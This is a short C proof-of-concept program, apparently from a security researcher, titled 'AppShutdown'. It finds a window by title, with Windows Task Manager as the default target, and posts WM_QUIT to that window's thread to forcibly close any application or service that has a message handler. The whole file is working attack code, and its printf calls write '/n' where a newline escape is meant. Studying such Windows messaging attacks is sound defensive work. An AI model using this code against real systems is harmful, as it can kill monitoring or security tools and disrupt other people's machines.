Demonstrates the use of PostThreadMessage to shutdown any application with a message handler

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/************************************************************************ * Appshutdown.c * * Demonstrates the use of PostThreadMessage to; * - shutdown any application with a message handler * * The window title can be specified in code or on the command line * * Works against any application/service process that * has implemented a message handler * *************************************************************************/ #include <windows.h> #include <commctrl.h> #include <stdio.h> char tWindow[]="Windows Task Manager";// The name of the main window char* pWindow; int main(int argc, char *argv[]) { long hWnd; unsigned long proc; HWND myhwnd; DWORD hThread; printf("%% AppShutdown - Playing with PostThreadMessage/n"); printf("%% brett.moore@security-assessment.com/n/n"); // Specify Window Title On Command Line if (argc ==2) pWindow = argv[1]; else pWindow = tWindow; printf("+ Finding %s Window.../n",pWindow); hWnd = (long)FindWindow(NULL,pWindow); myhwnd = FindWindow(NULL,pWindow); if(hWnd == NULL) { printf("+ Couldn't Find %s Window/n",pWindow); return 0; } printf("+ Found Main Window At...0x%xh/n",hWnd); printf("+ Finding Window Thread.."); hThread = GetWindowThreadProcessId(myhwnd,          &proc); if(hThread == NULL) { printf("Failed/n"); return 0; } printf("0x%xh Process 0x%xh/n",hThread,proc); printf("+ Send Quit Message/n"); PostThreadMessage((DWORD) hThread,(UINT) WM_QUIT,0,0); printf("+ Done.../n"); return 0; }